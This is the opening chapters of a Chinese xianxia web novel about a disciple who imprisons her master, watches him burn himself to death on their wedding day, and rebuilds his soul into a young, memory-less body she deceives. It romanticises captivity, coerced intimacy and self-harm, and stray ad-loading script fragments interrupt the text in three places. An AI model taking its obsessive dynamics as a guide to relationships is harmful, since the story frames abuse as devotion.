《养死的师尊不要扔,洗洗还能用》 1. 第 1 章 月色自窗扉铺来,梨渺坐在镜箱前,圆睁着琉璃似的眸子,小心翼翼地描眼画眉。 明天是她的二百岁生辰,亦是她精挑细选的大婚之日。 她为这一天期盼了太久,以致于第十七次练习梳妆打扮时,指尖依旧会细微颤抖。 明日拂晓之际,师尊便能彻彻底底地属于她了。 思及至此,少女不禁又弯了眉眼。 半晌,梨渺起身转向后方,笑意盈盈。 “白哥哥,好看吗?” 身后的男子一身绣蓝绫罗白衣,俊美高挺。 他暗着眼眸久久凝视着她的背影,直到她转身,那眼中的阴霾方散去。 他见惯了她平日的模样,也见证她对着妆奁从茫然到娴熟。 但这是他第一次看她穿上这身鲜红的婚服。 红得扎眼。 “当然,阿渺是天底下最好看的姑娘,此时此刻,却又比前时前刻要更美一分。” 今歌白淡笑着说道。 梨渺轻巧咧嘴笑了笑,瓷白的虎牙若隐若现。 她抚上自己的脸,清眸水涟中又透出一分忐忑。 “可……师尊会喜欢么?他从未见过我这幅模样。” 话音刚落,男子轻抬手臂,无比自然地将她揽至怀中。 他环着她的腰肢,目光因她发间的香气略显迷离。 “没人会不喜欢阿渺,我喜欢,清宵子定然也喜欢。” 师尊喜欢,她便高兴。 少女面色含春,眼波粼粼。 “我想去看看师尊。” 今歌白:“今晚见了,又如何能在大婚之时给他惊喜呢。” 任他如何抚慰,梨渺都没有做出反应。 她只是静静靠在他怀中,眼睛却看着虚空,一副思索的模样。 “嗯,白哥哥说得对。” 颈上传来男子轻巧的呼吸。 “早些歇息,明日……还有的忙呢。” 梨渺睫羽轻扇,垂着头低低应了声,未曾瞧见男子嘴角笑意渐深。 夜深人静,稀稀虫鸣落在耳畔,仿若是明月在低语。 男子走后,梨渺拆下满头琳琅的饰物,卸下妆容发髻,将婚服挂在架上,理得工整。 她欢喜躺去榻上,双手捧着一只精巧绢人,定定望着喜服的眼睛还明光熠熠。 绢人墨发高束,一袭月白衣衫圣洁无瑕。 今歌白离开梨渺的房间,却并未回到自己的住处。 树荫遮蔽了月光,乌睫之下阴霾密布。 少焉,他眼底浮现一分讥诮,信步走出院落,来到一间僻静无光的房屋前。 房门缓缓启开,展露出屋内颓疲的人影。 那人的脖颈、手腕与腰间均缚着锁链,一身白衣残破染尘,乌发垂散,看不出半分昔年的仙风道骨、高不可攀。 木门的吱呀声引来月色,驱散了些许阴暗。 他缓缓抬起了头,唯有发间露出的一双眼眸,尚存几分曾经的冷厉锋芒。 “你来作甚。” 这不知何时跟在梨渺身边的神秘人物,会独自出现在他的狱门前,是这十年间的头一回。 今歌白居高临下看着那俊美却落魄的男子,眼神怜悯又讥讽。 “我是来给你选择的,清宵子。” 他迎着清宵子凉薄如剑刃的目光,走到他的跟前。 “明天便是二月十六,阿渺定下的大婚日,巳时她便会来接你拜堂成亲。” 清宵子冷寂的眸中终于浮现一丝波纹。 原来明日便到了二月十六。 ——他捡到她的日子。 “万众景仰的清宵剑尊,定然不会与毁灭师门的逆徒同修共好,你不容,世理更不容。” 今歌白微微向前倾身,眯起眼角。 “何况她将你囚了十年,修为破损的你,连她这金丹期都能随意将你摆弄,你不从,她便再囚你十年,百年,千年,直到……” 清宵子睨来目光,打断他轻佻又愉悦的话语。 “你究竟想说什么。” 今歌白止了言,嗤笑一声直起身,手托一只红底的琉璃瓶落在他眼前。 “燃心散,服下这瓶,半炷香后,便会浑身燃尽,尸骨无存。” “对你,也算是永升极乐了罢。” “燃心散……你是魔宫的人?” 清宵子拢起剑眉,诧异尚未散去,他恍然想起什么,猛地张眼挣向前。 “渺渺……!” 锁链劈啪作响,瞬间在他颈上扼出狰狞的红痕。 便是这一动,他破碎前襟下的胸前刻字也扎在了今歌白眼底。 那东一块西一块的隽秀小楷,刻的全是一个“渺”字。 今夜白握着燃心散后退半步,有些错愕。 他张大双眸俯视着清宵子血丝密布的眼睛,讶异道:“都落到这般境界,你竟还在担心她?” 他恢复平静,若有所思地念道:“清、宵、子。” 忽而他便笑出了声,仿佛发现了有趣之事。 可惜这方圆却无人能与他同乐。 少顷,今歌白挺直了身躯,似笑非笑。 “剑尊放心,我不会伤她半分,你死后,我会好好照顾她,像从前在你荫庇下那般,让她不受世俗侵扰,让她永远天真,永远忘了你。” “所以,你大可安心去了。” 他眼角轻弯,分外狡黠。 清宵子转瞬卸力,垂肩埋首重重呼吸,仿佛方才的挣扎已耗尽了他的全力,只因有着锁链的桎梏,他才没有坠在地上。 今歌白再度将燃心散递向了清宵子面前。 清宵子抬眸凝视着他掌心小瓶,之后良久,都未动作。 今歌白歪了歪脖颈。 “怎么,舍不得?” 清宵子平复了呼吸,人也好似埋在了冰湖里,静得可怕。 “我现在不能死。” 今歌白的眼中掠过一丝锐利。 清宵子:“我要她亲眼看着我死。” 此言一出,又轮到今歌白诧异。 剑尊低垂的眸再度显出疲态。 “我要她知晓,己身之行种种,所酿皆为恶果。” “然后……从此放下执念。” “忘了我,她怕是做不到。那便让她永远记得这一天。” 他自嘲而笑,满是无奈。 “可惜师徒百余年,我终是未能让她学会何为善恶。” “都是为师教导无方……” 最后一句话,低到了尘埃里。 剑尊双目无神地望着地面,仿佛那名少女正坐在他身前,乖巧聆听教诲。 今歌白沉默地注视了他半晌。 “清宵子,你比我还要残忍。” 他没有嘲笑或愤怒,只是平静地陈述了这句话。 他将燃心散放在了地上,转身离去,未再发一言。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 庭院中光影变幻,今歌白抬头望天,眉头低压。 月蚀。 是个好兆头。 他扬起了嘴角。 待明日清宵子身死,阿渺的婚礼便无法继续。 届时,他会取代他,与她拜堂成亲。 - 梨渺一夜都未眠。 翌日尚未破晓,梨渺便溜下了床,将那被她盯了一夜的喜服再度披上身,梳妆打扮,满怀喜悦。 精心收拾好自身,梨渺打开房门,今歌白已在门外等待。 他负手而立,玉树临风,看向她的眼神温柔而惬意。 他走到她跟前,将一枚湖蓝色玉佩挂在了少女的项上。 “生辰快乐,阿渺。” 梨渺好奇看着玉佩上雕刻的精巧凤凰。 “这是白哥哥亲手做的礼物?” “嗯。”今歌白浅笑着点头。 “既是白哥哥做的,那便是世间极好的宝物了。” 梨渺双手捧着玉佩,笑眼盈盈。 “真好!” 今歌白看着她的笑靥,短暂失神之中,不禁抿了抿唇角。 梨渺上去捉住了他的手腕,迈步时,一身银饰叮铃作响。 “白哥哥,该去布置会场了!” 一催促,今歌白回了神,方才的美妙沉浸被敲了个四碎。 他表面未动声色,由着她将他拉去庭院。 无人会光临今日的婚礼。 但他会帮助阿渺完成自己愿望。 听到远处的动静,禁室内的男子缓缓启开了眼。 庭院中的男女置放着早便准备好的装饰。 张灯结彩,红火热情。 清宵子透过窗沿,望见了那不该属于这避世之地的尘俗之色。 梨渺身披红衣走过石板路,将怀中的精巧绢人一个一个放在椅上,片刻后,院内的桌旁仿佛坐满了宾客。 绢人们神态各异,绣出的眼睛也不知看着哪方。 梨渺趴到桌沿上,歪头看着右侧一脸板正的蓝衣绢人。 “大师兄,我们今天不比剑,一会儿喝酒,你可不能先倒了。” 说罢,她又转向左侧,对着撇嘴的青衣绢人笑。 “三师姐,你再也管不着我了,因为我当真要做师娘了!” …… 院中传来少女的欢笑,禁室内的男子屈身前挪,咬住那地上的红底琉璃瓶,用舌尖抵开瓶塞,仰头将瓶内的赤色粉末灌尽。 今歌白静默站在一旁,看着梨渺同那些绢人说得有来无回。 自从清净门覆灭后,阿渺便喜欢上做绢人娃娃了。 她做了十九只外观各异的绢人,十八只在这院内坐着,还有一只在她枕边躺着。 可惜她并未去做以自己为原型的绢人,否则他定要向她讨要来,置在枕边,夜夜瞧着。 “阿渺。” 今歌白轻唤,梨渺迷茫抬起了头。 “稍后的拜堂礼,不如此刻同我演习一番?” 梨渺眨了眨眼,“白哥哥讲的我都记住了,为何还要演练?” 今歌白泰然微笑:“只记住了步骤,又未亲身体验,如何保证一会儿不出错?” 梨渺垂眸稍加思索,“嗯,毕竟是如此重要的场合,应当谨慎些!” 今歌白难抑眼底悦色,只得撇开面容掩藏了片刻。 他端正走到梨渺身边。 “一拜天地。” 2. 第 2 章 二人躬身参拜东方。 “二拜高堂。” 梨渺正要再拜时,今歌白忽然拦道:“慢着。” 他停顿片息,转身指向北方。 “第二拜,我们便朝那儿拜。” “为何?”梨渺不解,“我本无父母,也不知生在何方,为何偏要朝那儿拜?” 今歌白淡笑:“越州乃修真界最南州,你我又在越州往南的孤岛上。无论你出生在何地,父母原在何处,他们都会在此岛的北方。” “所以,我们拜北方。” 梨渺了然点头,如此照做了。 今歌白:“夫妻对拜。” 终于到了第三拜,梨渺转步面向今歌白,却微低着头在想些什么。 “呀,吉时到了,我得将师尊接来了!” 梨渺忽而惊觉,忙小跑着离开,一路都带着欢喜。 “……” 今歌白眼角轻眯,端平的手臂恹恹放下。 就差一步,礼便成了。 真是可惜。 梨渺小跑至禁室前,推开门,迎面而来的却是袭人的热浪。 她愣在了原地。 那位本该被她迎去成婚的男子,此刻浴于火中,衣袍寸寸成焦灰,如同正被处以火刑的极恶罪人。 烈火中,清宵子抬起了头。 他不似从前那般,每次见她到来都面带悲悯和痛惜。 此刻的他正笑着,盯着她笑得癫狂又绝望。 他启唇说了二字,过后淡了神色,在烈火中超然于世。 旋即,誉满天下的清宵剑尊,便在那极为短暂的平静中彻底化为齑粉。 灼人的烈火顷刻荡然无存。 梨渺食指微颤,此刻才略略回过神来,一步一顿地踉跄上前。 她双眼瞪得浑圆,唰地跪坐在垂落的灰烬前。 今歌白颀长的身形在门口遮下一片阴影,盖上了少女纤弱的身躯。 “师尊……?” 少女吐着平静的音调,字尾却颤抖得失了律。 今歌白眼底暗潮汹涌,兴奋盈满身躯。 清宵子当真如他所说,让阿渺亲眼看他死在了大婚日。 好一个残忍的剑尊啊…… 如此……如此脆弱无助的阿渺,实在美极了。 此刻的她更需他来抚慰,她的空虚,便由他来填满! 今歌白刚迈出半步,便身躯轻震,定在原地。 那受挫的少女转头仰视着他,纤手提着一只小巧无比的红底琉璃瓶。 她轻启朱唇,俏然问他:“白哥哥,这是什么?” 对上梨渺晶圆明澈的眼眸,今歌白忽然失语。 后颈掠过凉意,今歌白须臾平定了心神。 “这……约莫是清宵子自焚所用之物罢,没想到他还藏了这一手。” 男子垂下眼睫,沉闷而愠怒,仿佛这一切都与他无关。 梨渺抿着唇,眼波闪烁,兀自陷入了沉思。 “师尊为何要自焚呢?” 她呆滞望着清宵子曾生活过的那方寸之地,拾起被烧得通红的锁链,手心瞬间被灼出了一缕烟。 今歌白倒吸一口气,沉声唤道:“阿渺……!” 梨渺仿若未觉,捏着锁链问他:“是锁链的颜色他不喜欢?” 今歌白凝眉未应。 梨渺茫然四顾,又指向窗台。 “是日光少了些?师尊过去喜爱在窗台喂鸟雀……” 说着,少女的眸光黯了下去。 “不……” 今歌白走到了梨渺背后,温柔而怜悯地俯视着她。 “是他根本不爱你,无论多久,都不会接受你的爱意。” “死亡对他而言乃是解脱,阿渺,你也该放过自己……” 男子环上少女的肩颈,垂首靠在她耳边,扯开她手中通红的锁链,笑得沉溺。 梨渺无神低眸,心疼地捧起地上的灰烬。 “可师尊这样,渺渺不喜欢。” 今歌白神色变了变,“渺渺”是她与清宵子之间的称呼,他都这般亲近,她却还在同那个连尸首都不剩的死人说话。 “是我待他不好么?” 少女仍自说自话。 “师尊渡劫失败,是我救了他。” “师兄师姐们都殁了,清净门没了,但我还陪着他。” “我将他藏在这儿,便不会再有人找上他的麻烦。” “我是他唯一在世的徒儿,他见着我,应是开心的……为什么呢?” 她困惑地歪着头。 “我又做错了什么?” 略带哽咽的声音听得今歌白一阵揪心,他拥得更用力,将她单薄的身形裹在怀抱中,她的呼吸他听得一清二楚。 “阿渺怎会有错,阿渺只是……” 今歌白的声音扼在了喉中。 他感受到她的颤抖,听到她呼吸不及的啜泣,从断续的水滴变为狂风骤雨。 她仰着面嚎啕大哭,两只手背忙着抹眼,什么都顾及不上。 今歌白睁大双眼,一下子慌了神,他忙松开双臂挪去她跟前,捧住她的脸颊,手忙脚乱地擦拭泪水。 “别、别哭……” 一开口,少女却嚎得更厉害了。 今歌白不知所措,他从未见过梨渺哭,连她震碎清净门那时,她都只是呆站着未掉一滴泪,哪知这不鸣则已,一鸣惊人。 正愁眉不展,一抹淡光吸引了今歌白的注意。 他垂首只见地上那些灰烬正浮起幽光,在二人头顶隐约聚成一道缥缈的人影。 这是……清宵子的魂魄? 今歌白顿时拢起了眉头,狐疑不解。 传言人死后,灵魂的确会有片刻停留,过后便会坠入阴府之中,然而却无人能将其目睹,更不可察觉其往何方飘去。 为何清宵子的魂魄会在此显形? 今歌白重新观察起那些灰烬,瞧见些许浸湿,旋即又见一滴水珠啪地落入其中。 他逆着水珠落下的轨迹看向梨渺的脸。 ……是阿渺的泪水所致? 天下有情人死者何其多,从未听说过谁人泪水能令他人魂魄显形。 莫非与阿渺的血脉之力有关? 思索时,梨渺也感知到周围气息的变幻,她挪开手背望向上方,浸湿的红眼倏然张了张。 “师尊……” 她忙不迭站起,伸手想要抓住那一道虚影。 “师尊!” 可惜她并无法触及那模糊的人影,反倒在她手指穿过虚影衣摆时,虚影骤然散为三魂七魄,朝四面八方飘去。 梨渺瞳孔忽缩,猛地释放灵力展开结界,然人力终难破坏常世法则,清宵子的魂魄轻易挣出结界,她忙变换了力量,却只拦下一缕命魂。 梨渺护住命魂,眼看着余下两魂七魄散开,她惊慌失措,转身抓住今歌白的手。 “白哥哥,帮帮我……!” 今歌白垂眸微愕,她这般用力地牵他,居然还是为了那个男人,她也不管她手心还有灼伤。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他看向她写满焦急的双眼,内心浪涛汹涌,阵阵刺痛。 唯有此刻,他在她眼中好似成了救世主,她毫不拖沓地将希望寄托给了他,目光楚楚可怜。 “求你了,要我如何都好,我定会报答你的!” 今歌白眸光顿颤,欲言又止。 他沉默一息,忽然破窗而出。 梨渺跑出房门,仰头望见今歌白正追逐远去的幻影,她移目探寻,飞身追往另一处。 飞散的魂魄如失控的鹰隼,触及他物便四处乱撞,梨渺费力追捕,灵力不足,便以血气织网,硬将那魂烟拦入怀中。 两缕魂如双鱼般在血气中旋转缠绕,却未能融合。 梨渺未放下心,又费了番功夫将第三缕魂收来,这才稍松一口气。 天、地、命三魂得存,师尊便不会堕入阴府,亦不会承受轮回之苦,最终变作旁人。 她只愿她的师尊永存永在,才不愿他成为谁人的丈夫、谁人的父亲。 若转世不为人,她便更难寻他了。 梨渺将血气包裹的三魂似爱宠般怀抱着,颔首轻蹭,发出满足的轻笑声。 那方,今歌白的身影早已远离了梨渺的视线。 他屹立风中,一手握着抓来的七魄,另一手收回飞旋而来的日月金轮。 不愧是清宵剑尊,即便渡劫失败修为大损,魂魄却仍有着化神境巅峰的韧度,以他元婴之境,数次以法器镇压击打,都未将其破碎。 浪声穿耳,今歌白回望那片岛屿,恰如翠玉嵌蓝镜,庭院与宅邸都成了玉中飘絮。 他心中无比不快。 早知如此,昨晚便该逼清宵子服毒,省得追什么魂魄,白忙活一场,还叫阿渺愈发记挂那厮。 片晌后,男子蔑笑一声,从那七魄中分出两缕封入瓶中,悄然藏起。 梨渺抱着三魂坐在院门外,红衣如霞,孤单又恬静。 远处今歌白踏风归来,梨渺亮了眸光,期盼地小跑上前。 “白哥哥,如何?可将师尊救回来了?” 今歌白推出左手,垂眸略显遗憾。 “抱歉,只追回了五魄,还有两魄不知所踪。” 梨渺伸出指尖,小心翼翼地触碰那团凝聚的幽光,庆幸道:“已然很好了……” 她眼波粼粼地抬起头,“白哥哥,谢谢你。” 今歌白抿了抿唇,不是滋味。 “师尊教导过我要知恩图报,所以,我定会报答你的!” 梨渺抚上心口,露出信誓旦旦的笑。 今歌白心内又窜起一团阴火,他蓦地捏回手撇过身去,忿然沉声:“我哪要你什么报答!” 动辄便是师尊师尊,要他救他便罢了,连哄他的话语都是那人教的! 梨渺被吓了一跳,下意识想要解救今歌白手中五魄的动作都缩了回去。 白哥哥素来依顺着她,从未对她发过脾气,她过去甚至无法想象,他板起脸来会是何模样。 现在她见着了。 真是凌厉的一张脸,比她犯错师尊罚她时还可怕。 今歌白刚出一口恶气,心中便后悔了。 他惴惴不安地回眸觑向她,瞧见那兔子般仍旧泛红的可怜眼眸,他心一软,抚着她的脸颊与鬓发,柔声好气道:“吓到你了?” 梨渺瘪起嘴,重重点了点头。 今歌白无奈叹息。 他牵起梨渺灼伤的右手,轻轻吹气。 “嫁给白哥哥好不好?”他抿唇微笑,声音轻俏又蛊惑。 3. 第 3 章 梨渺定定看着他思索了片晌,左右摇头。 她听人讲,常人不喜与人分享伴侣,她若嫁给了师尊,再嫁别人,师尊便会不高兴了。 可直觉告诉她,若此刻再提起师尊,白哥哥定会愈发不悦。 她不想看他露出那般可怖的神情。 梨渺此刻心中所想,今歌白无从得知。 他只知他被拒绝了个干脆。 也罢,如此结果,他早有预料。 阿渺尚还年轻,心性又格外天真,他还有很长时间等她。 ……他亦有诸多机会,去扭转她的意念。 今歌白笑着将清宵子的五魄塞到了梨渺的手中,轻弯的双眸深邃无光。 “不必急着回应。” “我可以给你无限的时间,去思考它的答案。” 梨渺矜持地点点头,目光凝聚在手中好不容易收集来的魂魄上。 那些跃动的光泽便如引路之火,将她所有的期盼都纳入其中。 今歌白轻柔抚着少女的后脑,绸缎般的乌发滑过指间,也将他心头积郁抚平了些。 “你打算拿它如何?即便你有玄辰血脉,也无法使人起死回生。” “我不知道。”梨渺茫然道。 “但我会想到办法。” 她抬头问道:“师尊丢失的,是哪两魄?” 今歌白:“雀阴、非毒两魄。” 梨渺歪头思索,六神无主地低喃道:“没关系,足够了……” 今歌白递出一只冰蓝的空瓶。 “在你想到办法之前,便用它来存放魂魄罢,其内设咒法,可压制魂魄,令其不散。” 梨渺面露感激,将清宵子的三魂五魄连同她的血气一同封入瓶中。 “谢谢白哥哥,你待我真好。” 今歌白笑意缱绻,握起她的右手,目光点了点她的手心。 “眼下暂可安心了,你还准备折腾自己到什么时候。” 梨渺低眸,灵力自小臂蔓延至手心,灼伤在转眼间消失不见,纤手细腻如初。 她张了张五指,向今歌白展示。 “医好了。” 今歌白顺势捏住她的手,一面细细摩挲,一面目不转睛地盯着她。 “日后不论遇到何事,都莫要伤害自己,好不好?” 梨渺睫羽低垂,腼腆地点了点头。 她双手握着宝瓶,转身走进宅院。 今歌白望着她鲜红的背影,聆听远处海浪鸟鸥之声,面上的浅笑渐多了难名的意味。 即便阿渺当真创造奇迹,令清宵子苏醒,缺了两魄,他也无法成为一个完整之人。 无雀阴之魄,则精气折损,永绝后嗣。 无非毒之魄,则万物成毒,皆难抵抗。 如此脆弱易折,如何能做得了阿渺的夫婿呢。 梨渺倚靠着床沿坐在地上,指尖提着冰蓝瓶颈,放在眼前轻轻摇晃。 “师尊,都怪你不从了渺渺,现在变成这副模样,让我好生为难。” 瓶中的魂魄飞旋着,如灯中流萤,美妙却虚渺。 少女注视着,又托着灵瓶放在脸旁轻蹭,灵魂相触,激动与满足自眸中流溢而出。 “如此,却能和师尊贴得更近了……” 师尊可以乖乖伴她晨起入眠,再无法抗拒她。 可惜,她的言语心迹,他也听不到了。 梨渺只喜悦了片息,便兴致缺缺。 她抚着灵瓶,端详着其中的幽光,自身的面容也倒映在了瓶身上。 “但我仍想要师尊同我说说话……” 无法触及的师尊,就算贴得再近,也仿佛远在天边,寂寥得很。 她定要师尊重新鲜活起来。 无名岛上的夜比白日更加静默。 自清净门覆灭后,梨渺便带着受伤的清宵子,与今歌白一同藏在了这里。 此地原先荒无人烟,唯有几只海鸟灵兽还带着生气。 今歌白发挥白星血脉之力,短短三日便建造了一方宅邸,房屋陈设应有尽有,连花木都布置得妥当。 三人在此居住至今,从未见旁人涉足。 隐居十载,景色终日如一,梨渺却从不觉得无聊。 因为每每乏味,她便会去清宵子的屋子,靠在他身上聆听心跳,在他心房四周刻下她的名字。 他咬住下唇时的隐忍神色,看向她时痛恨又悲悯的复杂目光,失控时的闷吭与喘息,都叫她无比欢喜。 她尤爱他唤她的名字。 悲哀的,愤怒的,温柔的,喑哑的……无论哪一种,都是独属于他们的亲密符号。 可惜那些,如今都体会不到了。 梨渺日夜抱着清宵子的魂魄,从不离身。 今歌白每隔三月都会消失几天,如此已成常态,梨渺从未深问他去做了什么。 如此过了数月。 在一日清晨今歌白归来时,梨渺浑浑噩噩地跑向他,握着他的手,眼里溢出三两星光。 “白哥哥,我想通了。” 今歌白略露狐疑,回到庭院中,他才问道:“你想通了什么?” 梨渺手捧灵瓶,道:“我只要师尊能像从前那般与我作伴,他是否能够起死回生,又有什么关系?” 这话听来便愈发没有道理了。 今歌白稍加思索,未去质疑,只温和笑笑,问道:“所以,阿渺想到了什么好办法?” 梨渺高举灵瓶,瓶中魂魄透过日光,显得愈发璀璨。 “我要为师尊造一具躯壳,让他与之融合,就如铸器师们以灵兽之魂为法器附灵一般。” 今歌白眯了眯眼,轻笑:“人形法器,闻所未闻。” “那又何妨,只要白哥哥教我铸造之法,我便一定能做到。” 梨渺郑重点点头。 今歌白摩挲着手指,阿渺的思路未尝不可行。 她的玄辰血脉所拥有的创造力量不亚于他的白星血脉,还比常人多出高超的生机之力,她若发挥力量,或许当真能创造出供魂魄栖息的人偶法器,而不至于将魂魄损耗。 可他要是帮了她,岂不是自找不快。 “寻常的铸造术帮不了你,这回,你只能靠你自己,耗时多久、能否成功都未可知。” 今歌白泰然说道。 梨渺薄唇微动,呆滞了片刻后,她转过身,望着手中灵瓶,垂眸温柔浅笑。 “没关系,只要能将师尊救回来,百年……千年……直到我成风中残烛,我都能等。” 今歌白指尖微颤,这句式竟有些熟悉,他在威胁清宵子自戕的那晚对他讲过。 梨渺的用句自比他温柔甜美,只是被刺伤的人却成了他。 他晦暗看着少女清甜又沉浸的笑颜,低喃着问话:“不过百余年师徒,他便值得你如此付出么。” 梨渺:“当然,师尊是世上待我最好的人。” 今歌白沉下眼睫,“我待你,又何曾比他差。” “终究是我来得晚些么……” 男子的声音愈发低落,淹入了轻风里。 少女好似没有听清。 晨辉下她笑颜如春桃,面容却并未向着他。 如今歌白所料,梨渺拥有极高的创造天赋,不必采集什么天材地宝,仅凭这岛上水下的木石麟骨,她便能造出一具人躯来。 潮起潮落,草长莺飞。 梨渺用那些东西凝聚骨骼与皮肉,又以血气为引,将魂魄融入那半成的假躯。 为了稳固魂魄、加深融合,她日日都在耗费血气,屡次超脱晕厥不醒。 今歌白时常抱着梨渺的身躯心疼不已。 若他出手助她,她便不必受这般苦累。 可唯有她虚弱之时,她才能由他贴近,偷得几日欢欣。 “我要陪你多久,你才会倾心我一点?” 今歌白腻在她耳边温声细语,不论她是否听得见。 他要阿渺每每清醒,最先入眼的都是他的样貌。 冷冰冰的傀儡,又如何比得上鲜活之人。 只可惜,难得的温存,仅能维持到梨渺苏醒后的片息。 她眼波盈盈地朝着他浅笑,过后便又将他抛到脑后,一心只挂着那只假人。 多年养护后,人偶的身形样貌开始自行发生变化,它日渐显露出清宵子的模样,虽极为缓慢,梨渺却欣喜若狂。 那代表着躯壳与魂魄交融渐深,互相滋养 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,终有一日它们能彻底融为一体。 “白哥哥你瞧,它是不是又像师尊一些了?” 梨渺梳理着人偶的发,眼眸含春地问他。 今歌白将一切的变化都看在眼里,即便他身怀具有高超创造天赋的白星血脉,即便他师承化神境铸器宗师,他亦会为梨渺的手笔惊叹。 他手中日月金轮乃是师父所铸,他制成这柄神器,花费了三百年。 而毫无铸器经历的梨渺雕琢完这具人偶,也只堪堪用了三百年。 如今,它灵气愈盛,蕴藏的勃勃生机让他难以相信那曾是一具死物。 又是一月今歌白离岛,梨渺独自坐在房中,抚着人偶的眉眼,为此心旷神怡。 它已彻底成为了师尊的模样,只是不知为何,外貌比她所熟识的那位要年轻几分。 看着,倒像是凡人十七八岁的模样。 哪里出了岔子,梨渺并不在意,她只盼师尊能醒来便好。 幻想着清宵子苏醒时的情景,梨渺忽有些紧张。 师尊睁眼见到她,会是喜悦还是愤怒? 他可会怪她将他从阴府路上拉回,是否又会趁她不备,悄悄杀了自己? 少女倚挂在人偶身上,眼珠轻轻转动,显出几分茫然和心慌。 思索时,她忽感心潮涌来,错愕抬起头看着人偶,眨了眨眼。 在她尚未想出该以何种姿态面对师尊时,师尊却已有了苏醒的迹象。 梨渺下意识松开了人偶,不知所措地左顾右盼,神忙了一阵后便挪动膝盖,跪坐在了人偶身前,两手轻置于腿上,乖巧得好似学堂上听教的稚童。 既不知如何应对,便扮作从前在清净门中的模样。过去她乖巧听话时,师尊总会欣慰些的。 声声心跳好似在催促着日月轮转,可时间在梨渺眼前却流逝得无比缓慢。 此刻片息的等待,比过去的三百年都更让她焦躁不安。 檐上滴落了雨,在数到第九十七声时,人偶眉梢微动,终于迟缓地掀起了乌睫。 他仿佛昏迷了许久,睁眼时满是困倦与迷茫,目光落定在面前的少女时,他愈发显露疑惑。 “你是谁?” 少年声音清澈而低冷,正似此刻的檐雨。 梨渺霎时怔住。 师尊……不记得她了? 她薄唇微动,两手支在地上,猫一般倾身向前,仔细端详起他。 少年被她的举动吓了一激灵,他下意识向后仰去,不留神打翻了身后的漆红镂空圆凳。 好在梨渺并未继续凑近,他定了定神,移目觑向周围,察觉自己竟在女子闺房内,他内心微震,愈发无所适从。 凝滞片刻,他打量起面前陌生的少女。 她生着极为漂亮伶俐的面容,眸若琉璃,唇如初樱,灵得不似人间之物。 更奇异的是,分明是这样一双明丽纯真的眼眸,却莫名叫他难懂。 她难道真是书里的山海精怪不成…… “你当真不记得我了?”梨渺歪了歪头。 她仔细瞧了他半晌,他正是她的师尊,绝非别人。 只是……与她记忆中的师尊又大相径庭。 少年眉头微动,望着少女的眼,谨慎反问道:“我们应当认识么?” 梨渺瘪了瘪唇,未作回答,却又问道:“你可还记得你是谁?” 少年沉默了片刻,隐暗的眸光透露出他内心的斗争。 面前的姑娘神秘又莫名,但她并未向他散发敌意,他或许可信任她一分。 “我叫穆昭,自凡界而来,正要去寻仙问道。敢问姑娘你……是何方神圣?” 梨渺眼眸轻张,恍然大悟,原来师尊的记忆与身躯,都回溯到了他刚入修真界的时候。 她愣了半晌,心内忽而泛起一丝莫名的喜悦。 师尊回到了少年时,她曾经所做的那些令他不愉快的事,他便都忘了。 ……如此岂不更好? 他不会再抗拒她、讨厌她,而她也有机会扭转他的心意,让他彻彻底底属于她一人。 越想,梨渺便越觉得此番喜事,犹如天降甘霖。 她展颜而笑,俏然道:“我是你的主人呀。” 4. 第 4 章 少女的笑靥恍惚了少年的神志,她吐出的言语更叫他不明所以。 梨渺看出他的困惑狐疑,她伸出食指,逗鸟似的在他额前手臂上圈圈点点。 “你这副身躯,从上到下,都是我辛苦做的,你的魂魄,亦是用我血气滋养的。” 少年初听错愕,转念思索须臾,他无奈笑道:“前辈莫不是在戏弄在下。” 梨渺双臂抱膝蹲到他跟前,明眸善睐。 “不信?你便没发现,这副肉身与常人相比已有分别?” 梨渺将手轻轻搭在了他的手上,少年吃了一惊,下意识想缩回手,却发现她的手无比滚烫。 他恍有所觉,掐了掐自己的脸颊和手臂,又在身侧的桌椅地面一番触碰。 原来是他自己变得怪异了。 身体的温度格外冰凉,比起过去还多了一分韧性,更可怕的是,无论他呼吸如何,脉搏的跳动都稳定如一,丝毫没有变化。 “怎会如此……” 少年怔然低喃,无法相信自己竟发生了如此天翻地覆的变化。 梨渺抿唇微笑着,她瞧得出,师尊这会儿并未完全信任她。 穆昭是师尊的俗名,世上鲜有人知,但她过去最爱腻在师尊身边,听他讲年轻时的故事。 因此她知道,师尊方才讲话时,隐瞒了他踏入修真界的真实目的。 ——他是来寻仇的。 为了让师尊放心依赖她,她决定编造一些谎言,来取得他的信任。 “你已经死了……两千三百年啦!” 梨渺险些说漏了嘴,好在她及时反应,将师尊的年纪算了进去。 少年愕然抬起眸。 梨渺:“两千三百年前,我瞧见你被一群修士杀害,便将你魂魄收来,日供夜养,为你重塑了身躯。” 少年不禁疑惑,他初入修真界便被杀害,这档子事,他为何毫无印象。 “你的记忆折损了些,有些事情回忆不起,也属正常。” 梨渺看穿了他的心思,笑吟吟说道。 难道屠杀他满门的凶手一直盯着他的动向,只要他踏足修真界便对其出手…… 正想着,少年忽然闭目摇了摇头。这少女模样的神秘修士所说言语未必能尽信,眼下情形不明,他不可为她蛊惑。 “如此说来,前辈是我的救命恩人。” 梨渺:“也是主人!” 少年:“……” “我不过一名堪堪启灵的平凡之子,前辈为何要费力救下我?” 梨渺眨眨眼,“我喜欢你,想将你永远带在身边。” 少年蓦然语塞。 听她语气,都是位至少活了两千多岁的大前辈了,说起这等轻浮之语,怎就如此理所当然。 “那些将你追杀的修士,是你的仇家?”梨渺诓道。 少年眼里掠过戒备,思量少焉,他点了点头。 梨渺:“唔……为防被别有用心之人盯上,日后行走世间,还是换个名字的好。穆昭……既重获新生,便可抛却前尘,你便叫穆忘朝如何?” 少年注视她少顷,撇了撇唇角,“既是为前辈所救,便由前辈决定罢。” 梨渺满意地弯起眼。 若是让他人认出师尊,事情便糟了,不止名字,他这副样貌也掩去为妙。 “你不可再叫我前辈,要唤我渺渺。” 穆忘朝略微抬睫,“这是你的名字?” 真是出奇的简单。 梨渺:“还是说……你想唤我主人?” 穆忘朝:“……” 他偏开面容,袖中虚握的五指默然盘算。 此女来历不明,又言行诡异,口说着是在他遇害后救了他,却不可排除她亦是他仇家的可能。 又或许她对他别有所图,可他实在不知自己有何特殊之处。 